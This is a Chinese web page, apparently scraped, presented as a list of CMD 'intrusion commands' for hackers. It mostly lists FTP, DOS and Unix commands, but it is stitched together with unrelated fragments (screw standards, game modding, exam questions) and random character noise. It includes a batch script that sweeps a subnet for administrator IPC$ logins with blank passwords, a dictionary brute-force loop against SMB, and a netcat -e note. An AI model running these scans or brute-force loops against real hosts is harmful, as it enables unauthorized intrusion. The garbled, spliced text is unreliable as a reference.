DOS命令大全（二）——入侵必练的CMD命令 /黑客常用CMD命令(10)

hex文件,这里指的是intel标准的十六进制文件,也就是机器代码的十六进制形式,并且是用一定文件格式的ascii码来表示.具体格式介绍如下:。在文本文件（ascii文件）中可以用值为-1的符号常量eof来作为文件的结束符。

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host[port] 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件 ! c. {( S7 ~: c5 C- p* g3 V

mdelete [remote-files] 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename [from] [to] 改变远端主机中的文件名

rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态 ' H3 D+ J/ K% o( F6 v6 w* Z

system 显示远端主机系统类型

user user-name [password] [account] 重新以别的用户名登录远端主机 2 K! F' p&d' D5 r, T6 ]& U

open host [port] 重新建立一个新的连接 3 Z# d, A4 j9 \3 h1 r4 Y

prompt 交互提示模式 3 t- W, M* A8 | b7 q

macdef 定义宏命令 5 E7 H* k: L, G+ q7 u+ ]' X! Q

另一个重要问题就是本地缓存的问题，云端文件在本地打开还是需要本地的缓存来支持的，然而这样的话就会占用一部分本地空间，如果用户点开比较大的文件，甚至有可能发生空间不够的情况。如：若共享/home/myth/share目录，要在 windows系统中访问这个共享的目录，假设windows主机的ip为192.168.0.11，linux主机的ip为192.168.0.10，进行 如下操作：。还有一种情况就是几乎所有软件的默认安装目录都在c盘，如果用户不特意安排的话，c盘的空间将会越来越少。家目录：用来存放用户自己的文件或目录，超级用户root的家目录是/root，而普通用户的家目录被存放在/home目录下，并使用用户名作为最后一级目录（家目录）的名称，如cat用户的家目录为/home/cat。

chmod 改变远端主机的文件权限 , d* Q' N# C$ A1 k7 C( ~

平面向量用小写加粗的字母a，b，c表示，也可以用表示向量的有向线段的起点和终点字母表示。21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。再击一次此键“capslock”灯灭，表示此时状态为小写，输入的字母为小写字母。（1）wall命令：功能是对全部已登录的用户发送信息，用户可以先把要发送的信息写好存入一个文件中，然后输入：# wall <文件名。

cd remote－dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip

网络高手、黑客必备初级命令大全二（cmd dos 入侵命令）

精华宝典里的和之前的一些朋友帖子虽然介绍过方法，但是方法都太复杂了，我发一个最简单的替换方法，配上头像代码后，操作完全简化，可以完全无视什么pck文件了~替换原理篇：（如果你嫌麻烦，可以不看，直接看下面的替换篇）第一步:选好你要用于替换的图片，格式不限，最好是jpg，打开prgviewer，在主菜单点文件→打开→picformats→all（自动探测），在弹出的对话框里选择你放图片的文件夹，在左侧会显示图片列表，点选项→设置，在图片导出里选择默认导出格式，选三国群英传shp格式，点ok。 端口说明：21端口主要用于ftp（file transfer protocol，文件传输协议）服务，ftp服务主要是为了在两台计算机之间实现文件的上传与下载，一台计算机作为ftp客户端，另一台计算机作为ftp服务器，可以采用匿名（anonymous）登录和授权用户名与密码登录两种方式登录ftp服务器。ftp ip 端口用于上传文件至服务器或进行文件操作，默认端口为21。inputmode属性：设置接收传入数据的格式，设置为0采用文本形式，设置为1采用二进制格式，本系统设置为二进制格式进行发送和接收。

route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gatewayaddres，接口地址Interface

arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp-a将显示出全部信息

下表列出了此修补程序的全球版本的文件属性(或更新的属性)，找到hkey—local—machne\，不影响正常的系统运行、传播的，在[boot]下面有个“shell=文件名”，cpu占用率将增加到100%，通过80端口来传播到其它的web页服务器上.ini文件中，右键点该.exe只是负责为这些服务提供启动的条件，打开注册表.exe 程序名”，那幺后面跟着的那个程序就是“木马”程序:。附：适用的国际标准材料牌号 性能等级 材料编号 标准编号 cu1 cu-etp 或cu-frhc iso1337 cu2 cuzn37 iso426/1 cu3 cuzn39pb3 iso426/2 cu4 cusn6 iso427 cu5 cunisi iso1187 cu6 cuzn40mn1pb — cu7 cua110ni5fe4 iso428 al1 almg3 iso209 al2 almg5 iso209 al3 alsi1mgmn iso209 al4 alcu4mgsi iso209 al5 alznmgcu0.5 — al6 alzn5.5mgcu iso209七、自攻类螺钉1. 自钻自攻螺钉的材料（gb/t3098.11-1995 ） 化学成分，% c mn p s 材料牌号参考 min max min max max max 0.13 0.27 0.64 1.71 0.04 0.04 20mn 、15mnb （gb699 ）注：允许的硼的含量范围为：0.05-0.30%2. 自挤螺钉（包括自攻锁紧螺钉）（gb3098.7-2000 ）自挤螺钉应用渗碳冷镦制造。如果你运行的是windows 2000，你可以将这段代码拷贝到enum.vbs文件中，并且在控制台窗口运行cscript.enum.vbs命令。04.进入命令窗口之后输入net start mysql 开启服务。

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件（目录）的属性

7.清空回收站8.删除c:＼windows＼softwaredistribution＼download下的文件(系统更新时下载的文件如你装好了更新也就没有用了)9.删除c:＼windows＼registeredpackages下所有目录10.删除c:＼windows＼downloaded program files下所有的文件11.我的电脑 文件夹选项 查看 隐藏已知受系统保护的文件勾去掉,显示所有文件勾上确定。store dos attributes= yes当windows客户端将文件复制或移动到samba服务器共享目录时，是否保留文件在windows中的相关属性（只读、系统、隐藏、存档属性）。4、切出游戏,把“只读”属性去掉,改回“存档”属性。

dir查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间

date /t 、 time /t使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序，并显示出：请按任意键继续....

if 在批处理程序中执行条件处理（更多说明见if命令及变量）

goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）

file://使用strtempa中的内容.}补充四点:1.ini文件的路径必须完整,文件名前面的各级目录必须存在,否则写入不成功,该函数返回 false 值.2.文件名的路径中必须为 \\ ,因为在vc++中, \\ 才表示一个 \ .3.也可将ini文件放在程序所在目录,此时 lpfilename 参数为: ".\\student.ini".//----------------------------------------------------------------------------------/*类名：cini版本：v2.0最后更新：v2.0梦小孩于2004年2月14日节加入高级操作的功能v1.0梦小孩于2003年某日一般操作完成类描述：本类可以于.ini文件进行操作*/文件 1:#pragma once#include "afxtempl.h"class cini{private:cstring m_strfilename。另外一个原因就是已经安装了该共享库, 但执行需要调用该共享库的程序的时候, 程序按照默认共享库路径找不到该共享库文件.。

for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）

echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 >> pass.txt 将'信息'保存到pass.txt文件中

findstr 'Hello' aa.txt 在aa.txt文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color颜色值设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )

三：

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：format D:/FS:NTFS

md目录名 创建目录

replace 源文件要替换文件的目录 替换文件

tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的命令＝字符

taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误

tlntadmntelnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe

path 路径可执行文件的文件名 为可执行文件设置一个路径。

cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?

regedit /s 注册表文件名

网络高手、黑客必备初级命令大全三（cmd dos 入侵命令）

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件

su 权限转换为指定使用者

telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。

ftp ftp连接上某服务器（同win2K）

附：批处理命令与变量

1：for命令及变量 基本格式：

sort内部使用快速排序，每次比较两个元素大小的时候如果没有参数，则直接判断字母表，如果有参数，则把正在比较的两个参数传入自定义方法并调用（正在比较的两个数会传给自定义方法的v1、v2），如果返回值大于0表示v1>v2，如果等于0，表示v1=v2，如果小于0，表示v1

课程的重点和难点及突破1．课程重点重点模块 重要内容 程序设计基础知识顺序结构程序设计选择结构程序设计循环结构程序设计函数 流程图的画法变量的理解表达式的正确书写数据的输入/输出if语句选择程序设计while与for循环程序设计函数的定义与参数传递 2．课程难点难点模块 难点内容 选择结构程序设计循环结构程序设计数组函数指针结构体 if语句的嵌套多重循环程序设计二维数组与字符串指针函数的嵌套调用与递归调用链表 3．难点突破方法从基本语法规定入手弱化实用性不强的细节突出基本重点内容的掌握知识点的应用方法作为突破口设置针对性的训练内容和题目教学方法和教学手段任务驱动 每次课都提出一个明确的任务，通过一个任务掌握某个章节的知识点，突出重点，分解难点，教学目的明确。提示输入捕捉数据帧后存在的文件名及其，若不写绝对径则文件默认存在在winaircrack的安装目录下，以.cap结尾，我在上例中使用的是‘last’。旧版本的flashgot默认情况下总会将文件名定向为addref，每次都要手动改存储目录和名称，影响使用。

(set):指定一个或一组文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1254)”第一个'1'指起始值，第二个'1'指增长量，第三个'254'指结束值，即：从1到254；“(1 -1254)”说明：即从254到1 }

command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开

command_parameters：为特定命令指定参数或命令行开关

IN (set)：指在(set)中取值；DO command ：指执行command

参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:pass.txt)时 }。

用法举例：

@echo off

echo 用法格式：test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & netuse \%1.%%G /user:administrator | find '命令成功完成'>>test.txt

存为test.bat说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。

/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；|指建立了ipc$后，在结果中用find查看是否有'命令成功完成'信息；%1.%%G 为完整的IP地址；(1 1 254)指起始值，增长量，结止值。

@echo off

echo 用法格式：ok.bat ip

FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200

②勾选“远程邮箱接收”后，用户只要在邮箱地址栏里输入正确的邮箱地址，系统会自动填充用户名、smtp邮件服务器地址，然后在密码栏里输入你的邮箱密码。（abcd）a、数据访问遵循上级查看下级，下级不能看上级，同级不能互访的原则 b、通过角色给用户分配权限 c、系统通过用户名和密码来识别用户 d、用户注册需要实名制 61．对公客户关系管理系统中对公客户经理的主要工作包括（ a、应用 b、维护 c、管理 d、营销 62．对公客户关系管理系统提供直接查询、预定义报表等多种统计方式，可以得到如下数据：。

七：

2：if命令及变量 基本格式：

IF [not] errorlevel 数字命令语句如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。

这样你本机全部帐号名字就出来了把扩号内的内容用两个单引号引起来就表示那个当命令执行,for会返回命令的每行结果,加那个"delims=" 是为了让我空格的行能整行显示出来,不加就只显示空格左边一列。为避免反复调用，可以嵌套执行相关命令： spawn：启动一个程序或进程 send：给进程或程序返回结果 expect：接受程序或进程输出 interact：使用户处于进程或程序的交互状态，...。

0 指发现并成功执行（真）；1 指没有发现、没执行（假）。

IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1等于字符串2），就执行后面的命令。

例：“if '%2%'=='4' gotostart”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加' '）

IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。

如果nsw.log文件没有提供有关该问题的信息，请检查系统日志中的错误并查明错误原因。如果ld_preload指定的文件没有找到这个suid的程序就会启动失败。

2.7.2 异常处理结构 try…except结构 ▲语法： try {语句} except on exception1 do {处理exception1的语句} on exception2 do {处理exception2的语句} … … [else {处理else的语句}] end。athx 当前所选音频设备已禁用、不存在、不受该程序支持或插口未完全连接 thx current chooses the audio equipment to be forbid, not to exist, not completely has not connected this procedure support or the receptacle [translate]。 当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了。usebackq 指定将右引号字符串作为命令执行，单引号字符串是文字字符串命令，您可以使用双引号包括 filenameset 中的文件名。

（二）系统外部命令(均需下载相关工具)：

1、瑞士：nc.exe

参数说明：

-h 查看帮助信息

-d 后台模式

-e prog程序重定向，一但连接就执行［危险］

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/jisuanjixue/article-94497-10.html